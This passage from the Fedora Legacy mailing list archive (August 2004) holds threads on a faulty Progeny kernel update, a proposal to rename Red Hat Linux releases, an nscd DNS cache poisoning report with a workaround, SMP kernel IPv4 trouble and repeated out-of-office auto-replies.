From: peter.abraham at dynamicnet.net (Peter M. Abraham) Date: Thu, 05 Aug 2004 08:13:56 -0400 Subject: Kernel update advisory text to approve... In-Reply-To: <1090020882.13707.10.camel@mdlinux> References: <1090020882.13707.10.camel@mdlinux> Message-ID: <6.1.2.0.2.20040805080553.01e91ec0@mail.dynamicnet.net> Greetings: Please be sure to keep an eye out on what Progeny did wrong in the latest kernel update they released yesterday; please don't include those problems in the kernel . http://forum.psoft.net/showthread.php?t=6449 (last post -- RedHat 7.3) and http://www.webhostingtalk.com/showthread.php?s=&threadid=305167 (last post RedHat 9). Thank you. At 07:34 PM 7/16/2004, you wrote: >Fedora Legacy will be releasing a kernel update soon. There have been so >many changes to the new version, I would like a few people to make sure >we've got everything covered in the release write-up. > >Here's the proposed release announcement. Please compare it to bug #1484 >to make sure I didn't leave anything out, or to check my awful grammar. >:) > >Thanks, ________________________________________________ Peter M. Abraham, CEO Dynamic Net, Inc. Helping companies do business on the Net Telephone: 1-610-736-3795 Web: http://www.dynamicnet.net/ http://www.wemanageservers.com/ ________________________________________________ From ckelley at ibnads.com Thu Aug 5 15:31:25 2004 From: ckelley at ibnads.com (Craig Kelley) Date: Thu, 05 Aug 2004 09:31:25 -0600 Subject: Introduction Message-ID: <411252CD.7020508@ibnads.com> Hello Everyone; I'm interested in helping out with this project. In particular, I'm interested in keeping 7.3 in working order (server-side). I'm very comforatable with spec files, C/Perl and patching. I've been using the legacy project for a few months now without issue; I just created a bugzilla account for the fedora bugzilla system and look forward to helping. Thanks, -Craig -- Craig Kelley In-Store Broadcasting Network -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature URL: From b.j.smith at ieee.org Thu Aug 5 16:50:49 2004 From: b.j.smith at ieee.org (Bryan J. Smith) Date: Thu, 05 Aug 2004 12:50:49 -0400 Subject: Lurker Suggestion: Retro-name RHL to Fedora Core 0.x Message-ID: <1091724649.1292.67.camel@bitman.oviedo.smithconcepts.com> Lurker here. Feel free to smack me for suggesting this. I've run into continuous confusion with clients and enthusiasts alike on the naming change. Whether it is a demonization by anti-Red Hat enthusiasts, people who claim Red Hat doesn't do anything but RPM (sigh, they can't seem to separate APT from Debian) or when I've switched clients from upgade from Red Hat Network (RHN) to Fedora Legacy (FL) for Red Hat Linux (RHL) updates, they act like it's a whole new product. I've had the best success in just flat out stating that Red Hat Linux is now Fedora Core (FC), and Fedora Legacy (FL) is the mechanism by which end-of-life RHL/FC releases, period. This includes no longer referring to Red Hat Linux but calling it Fedora Core. Additionally, I call "Fedora" the "community distribution" of Red Hat, which helps further calm fears -- especially when I go into the trademark issues, which client seem to understand better than the enthusiasts. As such, I would suggest we adopt a nomenclature to retro-name RHL to FC 0.x. This would both solve some confusion _and_ the trademark concerns. In fact, it would also solve the trademark issue for "black box" vendors still shipping products based on Red Hat Linux 7.3 or 9 to call and update it under a different name. Specifically: Red Hat Linux 7.3 is now Fedora Core L7[.3] Red Hat Linux 9 is now Fedora Core L9 Where a traditional "number" is necessary, the "L" can be interpreted as "0." -- so RHL 9 -> FC L9 or FC 0.9. We can do this with other Red Hat Linux releases -- and maybe even have a "history page/mapping" on the Fedora Legacy site. This would also include putting a couple of new files in the "redhat-release/ fedora-release" packages, such as: /etc/fedora-release With the reference to the new nomenclature. This might solve future packages that look for /etc/fedora-release instead of /etc/redhat-release (who knows?). Plus there should be a symlink in /usr/share/doc: fedora-release-Lx -> redhat-release-x If anyone is up for it (I am, sans I only speak English ;-), it probably wouldn't hurt to edit the contents of the directory to both reflect the nomenclature change as well as change the trademarks. Again, just a suggestion. The Fedora changeover has been so confusing, and I tire of dealing with people in the "assumptions." Now that "Red Hat Linux" is officially end-of-life, I feel we should just "simplify" the whole mess and call everything "Fedora" retro-actively. -- Bryan P.S. This isn't some anti-Red Hat post -- quite the opposite if you read the details. I'm very pro-Red Hat, pro-Fedora and I think Fedora is the best thing Red Hat has done yet! Unfortunately, most people are making assumptions out there. This is the best suggestion I could think of, and works for me with people. -- Engineers scoff at me because I have IT certifications IT Pros scoff at me because I am a degreed engineer I see and understand both of their viewpoints Unfortunately Engineers and IT Pros only see in me what they dislike about the other trade ------------------------------------------------------ Bryan J. Smith b.j.smith at ieee.org From wcooley at nakedape.cc Thu Aug 5 17:06:46 2004 From: wcooley at nakedape.cc (Wil Cooley) Date: Thu, 05 Aug 2004 10:06:46 -0700 Subject: 2 Issues Message-ID: <1091725605.4750.37.camel@denk.nakedape.priv> I tried to sign-up for a Bugzilla account, but never got the confirmation e-mail, so I'm posting here in hopes that someone else will enter them. 1/ The recently released libxml2-python 2.4.19-5.legacy is missing the Python 2.2 modules: /usr/lib/python2.2/site-packages/libxml2.py /usr/lib/python2.2/site-packages/libxml2mod.so 2/ nscd from glibc-2.2.5-44 is vulnerable to DNS cache poisoning. I don't know how it is when BIND doesn't seem to be affected, but several times now I've found 'localhost' mapping to an address block assigned to APNIC. I did a search and a few other people have seen this too. (There was no specific break-in because my firewall kept things sane.) You can use 'getent' to check ('host' only does DNS; 'getent' does NSS-lookups): 'getent hosts localhost'. Workaround: Disable cache for hosts in /etc/nscd.conf or disable nscd (not a good solution if you're using NIS/LDAP/SQL/etc). Wil -- Wil Cooley wcooley at nakedape.cc Naked Ape Consulting http://nakedape.cc -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From skvidal at phy.duke.edu Thu Aug 5 17:39:42 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 05 Aug 2004 13:39:42 -0400 Subject: Lurker Suggestion: Retro-name RHL to Fedora Core 0.x In-Reply-To: <1091724649.1292.67.camel@bitman.oviedo.smithconcepts.com> References: <1091724649.1292.67.camel@bitman.oviedo.smithconcepts.com> Message-ID: <1091727582.3707.7.camel@opus.phy.duke.edu> On Thu, 2004-08-05 at 12:50, Bryan J. Smith wrote: > Lurker here. Feel free to smack me for suggesting this. > > I've run into continuous confusion with clients and enthusiasts alike on > the naming change. Whether it is a demonization by anti-Red Hat > enthusiasts, people who claim Red Hat doesn't do anything but RPM (sigh, > they can't seem to separate APT from Debian) or when I've switched > clients from upgade from Red Hat Network (RHN) to Fedora Legacy (FL) for > Red Hat Linux (RHL) updates, they act like it's a whole new product. > > I've had the best success in just flat out stating that Red Hat Linux is > now Fedora Core (FC), and Fedora Legacy (FL) is the mechanism by which > end-of-life RHL/FC releases, period. This includes no longer referring > to Red Hat Linux but calling it Fedora Core. Additionally, I call > "Fedora" the "community distribution" of Red Hat, which helps further > calm fears -- especially when I go into the trademark issues, which > client seem to understand better than the enthusiasts. > Not only is this a Trademark problem to 'rename them' in this way, it is also completely confusing to a huge other set of users out there. If my opinion is worth anything, this gets a no vote from me. -sv From dom at earth.li Fri Aug 6 10:29:58 2004 From: dom at earth.li (Dominic Hargreaves) Date: Fri, 6 Aug 2004 11:29:58 +0100 Subject: Lurker Suggestion: Retro-name RHL to Fedora Core 0.x In-Reply-To: <1091727582.3707.7.camel@opus.phy.duke.edu> References: <1091724649.1292.67.camel@bitman.oviedo.smithconcepts.com> <1091727582.3707.7.camel@opus.phy.duke.edu> Message-ID: <20040806102958.GA30964@tirian.magd.ox.ac.uk> On Thu, Aug 05, 2004 at 01:39:42PM -0400, seth vidal wrote: > Not only is this a Trademark problem to 'rename them' in this way, it is > also completely confusing to a huge other set of users out there. > > If my opinion is worth anything, this gets a no vote from me. Same here. I don't have any direct experience of the confusion you mention, and the change would certainly cause a large amount. Dominic. From maurice at cds-cumberland.org Fri Aug 6 12:16:05 2004 From: maurice at cds-cumberland.org (Maurice) Date: Fri, 06 Aug 2004 08:16:05 -0400 Subject: 2.6.x SMP and IPv4 Message-ID: <41137685.3060808@cds-cumberland.org> Note: I've posted this to the Kernel-SMP list, already... FYI, I'm unable to get IPv4 running correctly when using a 2.6.xSMP kernel, but the "same" 2.6.x non-SMP kernel will allown IPv4 to function. I have tried a short list of the basics and searched google for help, I also posted to my local LUG and tried a few additional things. The hardware this is happening on is; motherboard: ECS (elitegroup) D6VAA NIC: netgear FA311 DHCP server: Coyote Linux, has run for about two years. Below is the posting, two parts, to my local LUG; Part I I have a box at home that's ran RH9 for about two years (or when ever RH9 first came out plus a month) and I've done regular RHN updates as time went by. About a week ago I used some very good online directions to take my RH9 box to Fedora C1 (using some basic RPM's and YUM) and eventhing went fairly well, just had to make a few adjustments... Then a week after the now FC1 box proved to be stable and correctly operational I used the directions from the same site to update the FC1 to FC2, and that seemed to go well -- better than the RH9 to FC1, or so it seemed. I re-booted to see what, if anything, would fail on start-up. I did have a failure, the FA311 NIC card could no longer get an address from the DHCP server??? Seems that the NIC now only "runs" IPv6, and the info I've gathered from the Net isn't helping me correct this -- I must be searching the wrong phrase(s). Has anyone else followed this upgrade path and had the same problem? Has anyone else moved to the 2.6 kernel and had IPv4 problems? I've poked around and added line to certain system files and even gave the card a static IPv4 number -- but nothing has corrected this problem. -------- -Maurice "Linux -- it not just for breakfast anymore..." -Moe Part II After a lot of off-list help from Phillip, the SMP kernel still wouldn't allow IPv4 activity... Thanks for all your help Phillip. I then did a fresh install of FC2, just to see, and guess what -- nope -- the SMP kernel still wouldn't allow IPv4 traffic, but the non-SMP kernel worked fine. So then I installed SuSE 9.1 PRO, same deal, the SMP kernel would not allow IPv4 traffic. I then tested several LiveCD's; Knoppix 3.3 , Kernel 2.4.24-xfs #1 smp (NO) LindowsOS 4.5.212, Kernel 2.4.24 (YES) Morphix KDE 0.4.1, Kernel 2.4.21-xfs #13 smp (NO) SLAX 4.0.4, Kernel 2.4.25 (YES) The past kernel's used on the SMP box were; RH 9, Kernel 2.4.20-31.9 (YES) RH 9, Kernel 2.4.20-31.9smp (YES) FC1, Kernel 2.4.22-1.2197.nptl (YES) FC1, Kernel 2.4.22-1.2197.nptlsmp (YES) FC2, Kernel 2.6.6-1.435.2.3smp (NO) FC2, Kernel 2.6.6-1.4352.2.3 (YES) SuSE 9.1 PRO, Kernel 2.6.4-52-smp (NO) So there seems to be some issue with the 2.6 kernel and SMP, maybe based on my motherboard and/or NIC combination??? -------- -Maurice "Linux -- it not just for breakfast anymore..." -Moe From bvermeul at blackstar.nl Fri Aug 6 12:26:55 2004 From: bvermeul at blackstar.nl (Bas Vermeulen) Date: Fri, 06 Aug 2004 14:26:55 +0200 Subject: 2.6.x SMP and IPv4 In-Reply-To: <41137685.3060808@cds-cumberland.org> References: <41137685.3060808@cds-cumberland.org> Message-ID: <1091795215.1824.46.camel@laptop.blackstar.nl> On Fri, 2004-08-06 at 14:16, Maurice wrote: > Note: I've posted this to the Kernel-SMP list, already... > > FYI, > > I'm unable to get IPv4 running correctly when using a 2.6.xSMP kernel, > but the "same" 2.6.x non-SMP kernel will allown IPv4 to function. Are you able to make an IPv6 connection? If not, try 'noapic' when booting, as your interrupt could very well be non-functioning. It's one of the things I would try first, before swapping out your NIC for a different one (Intel E100 usually work fine). Bas Vermeulen > I have tried a short list of the basics and searched google for help, I > also posted to my local LUG and tried a few additional things. > > The hardware this is happening on is; > > motherboard: ECS (elitegroup) D6VAA > NIC: netgear FA311 > DHCP server: Coyote Linux, has run for about two years. > > > > Below is the posting, two parts, to my local LUG; > > Part I > > I have a box at home that's ran RH9 for about two years (or when ever > RH9 first came out plus a month) and I've done regular RHN updates as > time went by. > > About a week ago I used some very good online directions to take my RH9 > box to Fedora C1 (using some basic RPM's and YUM) and eventhing went > fairly well, just had to make a few adjustments... > > Then a week after the now FC1 box proved to be stable and correctly > operational I used the directions from the same site to update the FC1 > to FC2, and that seemed to go well -- better than the RH9 to FC1, or so > it seemed. > > I re-booted to see what, if anything, would fail on start-up. > > I did have a failure, the FA311 NIC card could no longer get an address > from the DHCP server??? > Seems that the NIC now only "runs" IPv6, and the info I've gathered from > the Net isn't helping me correct this -- I must be searching the wrong > phrase(s). > > Has anyone else followed this upgrade path and had the same problem? > Has anyone else moved to the 2.6 kernel and had IPv4 problems? > > I've poked around and added line to certain system files and even gave > the card a static IPv4 number -- but nothing has corrected this problem. > > -------- > -Maurice > > > "Linux -- it not just for breakfast anymore..." > -Moe > > > > > > Part II > > After a lot of off-list help from Phillip, the SMP kernel still wouldn't > allow IPv4 activity... > Thanks for all your help Phillip. > > I then did a fresh install of FC2, just to see, and guess what -- nope > -- the SMP kernel still wouldn't allow IPv4 traffic, but the non-SMP > kernel worked fine. > So then I installed SuSE 9.1 PRO, same deal, the SMP kernel would not > allow IPv4 traffic. > > I then tested several LiveCD's; > Knoppix 3.3 , Kernel 2.4.24-xfs #1 smp (NO) > LindowsOS 4.5.212, Kernel 2.4.24 (YES) > Morphix KDE 0.4.1, Kernel 2.4.21-xfs #13 smp (NO) > SLAX 4.0.4, Kernel 2.4.25 (YES) > > The past kernel's used on the SMP box were; > RH 9, Kernel 2.4.20-31.9 (YES) > RH 9, Kernel 2.4.20-31.9smp (YES) > FC1, Kernel 2.4.22-1.2197.nptl (YES) > FC1, Kernel 2.4.22-1.2197.nptlsmp (YES) > FC2, Kernel 2.6.6-1.435.2.3smp (NO) > FC2, Kernel 2.6.6-1.4352.2.3 (YES) > SuSE 9.1 PRO, Kernel 2.6.4-52-smp (NO) > > So there seems to be some issue with the 2.6 kernel and SMP, maybe based > on my motherboard and/or NIC combination??? > > > > -------- > -Maurice > > "Linux -- it not just for breakfast anymore..." > -Moe > > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list From Axel.Thimm at ATrpms.net Fri Aug 6 14:11:06 2004 From: Axel.Thimm at ATrpms.net (Axel Thimm) Date: Fri, 6 Aug 2004 16:11:06 +0200 Subject: Lurker Suggestion: Retro-name RHL to Fedora Core 0.x In-Reply-To: <1091724649.1292.67.camel@bitman.oviedo.smithconcepts.com> References: <1091724649.1292.67.camel@bitman.oviedo.smithconcepts.com> Message-ID: <20040806141106.GD22826@neu.physik.fu-berlin.de> On Thu, Aug 05, 2004 at 12:50:49PM -0400, Bryan J. Smith wrote: > As such, I would suggest we adopt a nomenclature to retro-name RHL to FC > 0.x. This would both solve some confusion _and_ the trademark > concerns. There was a suggestion (Nov 2003?) to "rename" RHL7.3 etc. to FC0.7.3 etc. in order to get the disttag issues straightened out (the natural disttag "rh9" is not rpm-less than "fc1"). If I am not wrong fedora.us is using a similar scheme with stripped away distids, i.e. they don't use fc0.7.3 but plain 0.7.3 in the versioning. FWIW I would very much welcome a common versioning scheme for RHL & FC that could look like fc0.7.3 < fc0.8.0 < fc0.9 < fc1 < fc2 < fc2.90 etc The confusion will be high, and unless all packaging parties use the same semantics users will be lost. The discussion in the past has shown very low to none interest by RH, and N^2 disttag suggestions from N 3rd parties, so there is low chance of anything happening. -- Axel.Thimm at ATrpms.net -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From jpdalbec at ysu.edu Fri Aug 6 16:59:14 2004 From: jpdalbec at ysu.edu (John Dalbec) Date: Fri, 06 Aug 2004 12:59:14 -0400 Subject: 2 Issues In-Reply-To: <20040806160032.B42FE7543B@hormel.redhat.com> References: <20040806160032.B42FE7543B@hormel.redhat.com> Message-ID: <4113B8E2.6020701@ysu.edu> Wil Cooley wrote: > 1/ The recently released libxml2-python 2.4.19-5.legacy is missing the > Python 2.2 modules: > > /usr/lib/python2.2/site-packages/libxml2.py > /usr/lib/python2.2/site-packages/libxml2mod.so 2.4.19-6.legacy is in updates-testing now and has the missing modules. > 2/ nscd from glibc-2.2.5-44 is vulnerable to DNS cache poisoning. I > don't know how it is when BIND doesn't seem to be affected, but several > times now I've found 'localhost' mapping to an address block assigned to > APNIC. I did a search and a few other people have seen this too. > (There was no specific break-in because my firewall kept things sane.) > You can use 'getent' to check ('host' only does DNS; 'getent' does > NSS-lookups): 'getent hosts localhost'. Workaround: Disable cache for > hosts in /etc/nscd.conf or disable nscd (not a good solution if you're > using NIS/LDAP/SQL/etc). I think that if this were easy to fix Red Hat would have done so when people first complained about it. Personally I've disabled hosts caching on my systems. John From regis at nvision.lu Fri Aug 6 16:59:47 2004 From: regis at nvision.lu (regis at nvision.lu) Date: 6 Aug 2004 16:59:47 -0000 Subject: Out of office Message-ID: <20040806165947.25273.qmail@platon.nvision.lu> G'dday, I'll be out of office starting 09-08 till 13-08 included. For technical questions/remarks/suggestions concerning mobile applications, please contact Olivier Pierre . For all other stuff please contact Raoul Mulheims . Regards, R?gis Kuckaertz From regis at nvision.lu Fri Aug 6 17:00:06 2004 From: regis at nvision.lu (regis at nvision.lu) Date: 6 Aug 2004 17:00:06 -0000 Subject: Out of office Message-ID: <20040806170006.25309.qmail@platon.nvision.lu> G'dday, I'll be out of office starting 09-08 till 13-08 included. For technical questions/remarks/suggestions concerning mobile applications, please contact Olivier Pierre . For all other stuff please contact Raoul Mulheims . Regards, R?gis Kuckaertz From regis at nvision.lu Fri Aug 6 17:00:22 2004 From: regis at nvision.lu (regis at nvision.lu) Date: 6 Aug 2004 17:00:22 -0000 Subject: Out of office Message-ID: <20040806170022.25394.qmail@platon.nvision.lu> G'dday, I'll be out of office starting 09-08 till 13-08 included. For technical questions/remarks/suggestions concerning mobile applications, please contact Olivier Pierre . For all other stuff please contact Raoul Mulheims . Regards, R?gis Kuckaertz From regis at nvision.lu Fri Aug 6 17:00:34 2004 From: regis at nvision.lu (regis at nvision.lu) Date: 6 Aug 2004 17:00:34 -0000 Subject: Out of office Message-ID: <20040806170034.25429.qmail@platon.nvision.lu> G'dday, I'll be out of office starting 09-08 till 13-08 included. For technical questions/remarks/suggestions concerning mobile applications, please contact Olivier Pierre . For all other stuff please contact Raoul Mulheims . Regards, R?gis Kuckaertz From regis at nvision.lu Fri Aug 6 17:00:52 2004 From: regis at nvision.lu (regis at nvision.lu) Date: 6 Aug 2004 17:00:52 -0000 Subject: Out of office Message-ID: <20040806170052.25483.qmail@platon.nvision.lu> G'dday, I'll be out of office starting 09-08 till 13-08 included. For technical questions/remarks/suggestions concerning mobile applications, please contact Olivier Pierre . For all other stuff please contact Raoul Mulheims . Regards, R?gis Kuckaertz From regis at nvision.lu Fri Aug 6 17:01:14 2004 From: regis at nvision.lu (regis at nvision.lu) Date: 6 Aug 2004 17:01:14 -0000 Subject: Out of office Message-ID: <20040806170114.25522.qmail@platon.nvision.lu> G'dday, I'll be out of office starting 09-08 till 13-08 included. For technical questions/remarks/suggestions concerning mobile applications, please contact Olivier Pierre . For all other stuff please contact Raoul Mulheims . Regards, R?gis Kuckaertz From regis at nvision.lu Fri Aug 6 17:01:30 2004 From: regis at nvision.lu (regis at nvision.lu) Date: 6 Aug 2004 17:01:30 -0000 Subject: Out of office Message-ID: <20040806170130.25605.qmail@platon.nvision.lu> G'dday, I'll be out of office starting 09-08 till 13-08 included. For technical questions/remarks/suggestions concerning mobile applications, please contact Olivier Pierre . For all other stuff please contact Raoul Mulheims . Regards, R?gis Kuckaertz From regis at nvision.lu Fri Aug 6 17:01:43 2004 From: regis at nvision.lu (regis at nvision.lu) Date: 6 Aug 2004 17:01:43 -0000 Subject: Out of office Message-ID: <20040806170143.25664.qmail@platon.nvision.lu> G'dday, I'll be out of office starting 09-08 till 13-08 included. For technical questions/remarks/suggestions concerning mobile applications, please contact Olivier Pierre . For all other stuff please contact Raoul Mulheims . Regards, R?gis Kuckaertz From regis at nvision.lu Fri Aug 6 17:02:00 2004 From: regis at nvision.lu (regis at nvision.lu) Date: 6 Aug 2004 17:02:00 -0000 Subject: Out of office Message-ID: <20040806170200.25698.qmail@platon.nvision.lu> G'dday, I'll be out of office starting 09-08 till 13-08 included. For technical questions/remarks/suggestions concerning mobile applications, please contact Olivier Pierre . For all other stuff please contact Raoul Mulheims . Regards, R?gis Kuckaertz From regis at nvision.lu Fri Aug 6 17:02:12 2004 From: regis at nvision.lu (regis at nvision.lu) Date: 6 Aug 2004 17:02:12 -0000 Subject: Out of office Message-ID: <20040806170212.25733.qmail@platon.nvision.lu> G'dday, I'll be out of office starting 09-08 till 13-08 included. For technical questions/remarks/suggestions concerning mobile applications, please contact Olivier Pierre . For all other stuff please contact Raoul Mulheims . Regards, R?gis Kuckaertz From wcooley at nakedape.cc Fri Aug 6 17:10:54 2004 From: wcooley at nakedape.cc (Wil Cooley) Date: Fri, 06 Aug 2004 10:10:54 -0700 Subject: 2 Issues In-Reply-To: <1091725605.4750.37.camel@denk.nakedape.priv> References: <1091725605.4750.37.camel@denk.nakedape.priv> Message-ID: <1091812254.3933.1.camel@denk.nakedape.priv> On Thu, 2004-08-05 at 10:06, Wil Cooley wrote: > I tried to sign-up for a Bugzilla account, but never got the > confirmation e-mail, Just in case any mail or bugzilla admins were wondering what happened, I actually *had* gotten the message, but had forgotten all bugzilla messages are filtered to a folder, which I forgot to check. Wil -- Wil Cooley wcooley at nakedape.cc Naked Ape Consulting http://nakedape.cc -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From simon at nzservers.com Fri Aug 6 17:17:54 2004 From: simon at nzservers.com (Simon Weller) Date: Fri, 6 Aug 2004 12:17:54 -0500 Subject: Out of office In-Reply-To: <20040806170212.25733.qmail@platon.nvision.lu> References: <20040806170212.25733.qmail@platon.nvision.lu> Message-ID: <200408061217.54338.simon@nzservers.com> On Friday 06 August 2004 12:02 pm, regis at nvision.lu wrote: Any chance an admin can suspend this email from the list? - Si > G'dday, > > I'll be out of office starting 09-08 till 13-08 included. > > For technical questions/remarks/suggestions concerning mobile applications, > please contact Olivier Pierre . For all other > stuff please contact Raoul Mulheims . > > Regards, > R?gis Kuckaertz > > > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list -- Simon Weller LPIC-2, BCIP Systems Engineer NZServers LTD http://www.nzservers.com/ U.S. Branch <- To mess up a Linux box, you need to work at it; to mess up your Windows box, you just need to work on it. - Scott Granneman, Security Focus -> From jkeating at j2solutions.net Fri Aug 6 17:21:48 2004 From: jkeating at j2solutions.net (Jesse Keating) Date: Fri, 6 Aug 2004 10:21:48 -0700 Subject: Kernel update advisory text to approve... In-Reply-To: <6.1.2.0.2.20040805080553.01e91ec0@mail.dynamicnet.net> References: <1090020882.13707.10.camel@mdlinux> <6.1.2.0.2.20040805080553.01e91ec0@mail.dynamicnet.net> Message-ID: <200408061021.52571.jkeating@j2solutions.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 05 August 2004 05:13, Peter M. Abraham wrote: > Please be sure to keep an eye out on what Progeny did wrong in the > latest kernel update they released yesterday; please don't include > those problems in the kernel . > > http://forum.psoft.net/showthread.php?t=6449 (last post -- RedHat > 7.3) and > http://www.webhostingtalk.com/showthread.php?s=&threadid=305167 (last > post RedHat 9). Forgive my lack of time, what did they do wrong? I haven't looked at the advisories yet. - -- Jesse Keating RHCE (http://geek.j2solutions.net) Fedora Legacy Team (http://www.fedoralegacy.org) GPG Public Key (http://geek.j2solutions.net/jkeating.j2solutions.pub) Was I helpful? Let others know: http://svcs.affero.net/rm.php?r=jkeating -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFBE74v4v2HLvE71NURAjs+AKCtpAvPg+Ibc+j57xHK0rLaNzjLjACff5k7 VB+sfsGpaNW0+Cr6K6TBWIg= =wYzH -----END PGP SIGNATURE----- From jkeating at j2solutions.net Fri Aug 6 17:23:26 2004 From: jkeating at j2solutions.net (Jesse Keating) Date: Fri, 6 Aug 2004 10:23:26 -0700 Subject: Introduction In-Reply-To: <411252CD.7020508@ibnads.com> References: <411252CD.7020508@ibnads.com> Message-ID: <200408061023.28341.jkeating@j2solutions.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 05 August 2004 08:31, Craig Kelley wrote: > I'm interested in helping out with this project. ?In particular, I'm > interested in keeping 7.3 in working order (server-side). ?I'm very > comforatable with spec files, C/Perl and patching. ?I've been using > the legacy project for a few months now without issue; I just created > a bugzilla account for the fedora bugzilla system and look forward to > helping. Welcome to the team Craig! - -- Jesse Keating RHCE (http://geek.j2solutions.net) Fedora Legacy Team (http://www.fedoralegacy.org) GPG Public Key (http://geek.j2solutions.net/jkeating.j2solutions.pub) Was I helpful? Let others know: http://svcs.affero.net/rm.php?r=jkeating -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFBE76O4v2HLvE71NURAtCKAKDEQQRGxrwLdDsGevjBaK5VpR3PCACggNa6 UNpR3taQy0ggOTNkSlW5XKc= =QTUc -----END PGP SIGNATURE----- From jkeating at j2solutions.net Fri Aug 6 17:25:52 2004 From: jkeating at j2solutions.net (Jesse Keating) Date: Fri, 6 Aug 2004 10:25:52 -0700 Subject: Out of office In-Reply-To: <200408061217.54338.simon@nzservers.com> References: <20040806170212.25733.qmail@platon.nvision.lu> <200408061217.54338.simon@nzservers.com> Message-ID: <200408061025.53957.jkeating@j2solutions.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Friday 06 August 2004 10:17, Simon Weller wrote: > Any chance an admin can suspend this email from the list? I'll drop this guy in a moment. - -- Jesse Keating RHCE (http://geek.j2solutions.net) Fedora Legacy Team (http://www.fedoralegacy.org) GPG Public Key (http://geek.j2solutions.net/jkeating.j2solutions.pub) Was I helpful? Let others know: http://svcs.affero.net/rm.php?r=jkeating -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFBE78g4v2HLvE71NURAlgHAJwJycg/JtSYILjhtL5x0TKP/5GbyQCgpIUt Vr+el0JN4KzKqHJoR/6H0uI= =S3jY -----END PGP SIGNATURE----- From simon at nzservers.com Fri Aug 6 17:32:52 2004 From: simon at nzservers.com (Simon Weller) Date: Fri, 6 Aug 2004 12:32:52 -0500 Subject: Out of office In-Reply-To: <200408061025.53957.jkeating@j2solutions.net> References: <20040806170212.25733.qmail@platon.nvision.lu> <200408061217.54338.simon@nzservers.com> <200408061025.53957.jkeating@j2solutions.net> Message-ID: <200408061232.52975.simon@nzservers.com> On Friday 06 August 2004 12:25 pm, Jesse Keating wrote: > On Friday 06 August 2004 10:17, Simon Weller wrote: > > Any chance an admin can suspend this email from the list? > > I'll drop this guy in a moment. > Thanks Jesse :-) > -- > Jesse Keating RHCE (http://geek.j2solutions.net) > Fedora Legacy Team (http://www.fedoralegacy.org) > GPG Public Key > (http://geek.j2solutions.net/jkeating.j2solutions.pub) > > Was I helpful? Let others know: > http://svcs.affero.net/rm.php?r=jkeating -- Simon Weller LPIC-2, BCIP Systems Engineer NZServers LTD http://www.nzservers.com/ U.S. Branch <- To mess up a Linux box, you need to work at it; to mess up your Windows box, you just need to work on it. - Scott Granneman, Security Focus -> From peter.abraham at dynamicnet.net Fri Aug 6 18:00:47 2004 From: peter.abraham at dynamicnet.net (Peter M. Abraham) Date: Fri, 06 Aug 2004 14:00:47 -0400 Subject: Kernel update advisory text to approve... In-Reply-To: <200408061021.52571.jkeating@j2solutions.net> References: <1090020882.13707.10.camel@mdlinux> <6.1.2.0.2.20040805080553.01e91ec0@mail.dynamicnet.net> <200408061021.52571.jkeating@j2solutions.net> Message-ID: <6.1.2.0.2.20040806135956.08193690@mail.dynamicnet.net> Greetings Jesse: From Progeny: "The most recent kernel security advisory (TSSA-2004:6552-01) contains a bug that may cause some customers machines appear to hang during the boot process while trying to load the loopback device or experience problems using netstat. While we have a very thorough QA process, especially for something as important as the kernel, sometimes a bug will slip through. We have been working with the customers who have this problem to replicate it on our own machines and hope to have a fix shortly." Thank you. At 01:21 PM 8/6/2004, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >On Thursday 05 August 2004 05:13, Peter M. Abraham wrote: > > Please be sure to keep an eye out on what Progeny did wrong in the > > latest kernel update they released yesterday; please don't include > > those problems in the kernel . > > > > http://forum.psoft.net/showthread.php?t=6449 (last post -- RedHat > > 7.3) and > > http://www.webhostingtalk.com/showthread.php?s=&threadid=305167 (last > > post RedHat 9). > >Forgive my lack of time, what did they do wrong? I haven't looked at >the advisories yet. From bhirt at mobygames.com Fri Aug 6 19:04:01 2004 From: bhirt at mobygames.com (Brian Hirt) Date: Fri, 6 Aug 2004 13:04:01 -0600 Subject: CORE1 patches Message-ID: <60FA5187-E7DB-11D8-B1E0-000D93AD2E74@mobygames.com> what do we do about bugs in CORE1 that the RedHat Fedora Project isn't planning on releasing patches for? Is the legacy project going to be issuing them? There's a known bug in procsps-2 that effects vmstat, which hasn't been patched. i submitted a bug to redhat bugzilla, and it was closed saying that it's been fixed in a newer version of procps-3, but an updated rpm hasn't been issued, and it doesn't look like one will be. From jkeating at j2solutions.net Fri Aug 6 19:21:49 2004 From: jkeating at j2solutions.net (Jesse Keating) Date: Fri, 6 Aug 2004 12:21:49 -0700 Subject: Kernel update advisory text to approve... In-Reply-To: <6.1.2.0.2.20040806135956.08193690@mail.dynamicnet.net> References: <1090020882.13707.10.camel@mdlinux> <200408061021.52571.jkeating@j2solutions.net> <6.1.2.0.2.20040806135956.08193690@mail.dynamicnet.net> Message-ID: <200408061221.52043.jkeating@j2solutions.net> On Friday 06 August 2004 11:00, Peter M. Abraham wrote: > Greetings Jesse: > > From Progeny: > > "The most recent kernel security advisory > (TSSA-2004:6552-01) contains a bug that may cause some customers > machines appear to hang during the boot process while trying to load > the loopback device or experience problems using netstat. While we > have a very thorough QA process, especially for something as > important as the kernel, sometimes a bug will slip through. We have > been working with the customers who have this problem to replicate it > on our own machines and hope to have a fix shortly." > > Thank you. Very interesting. I wonder what they did to 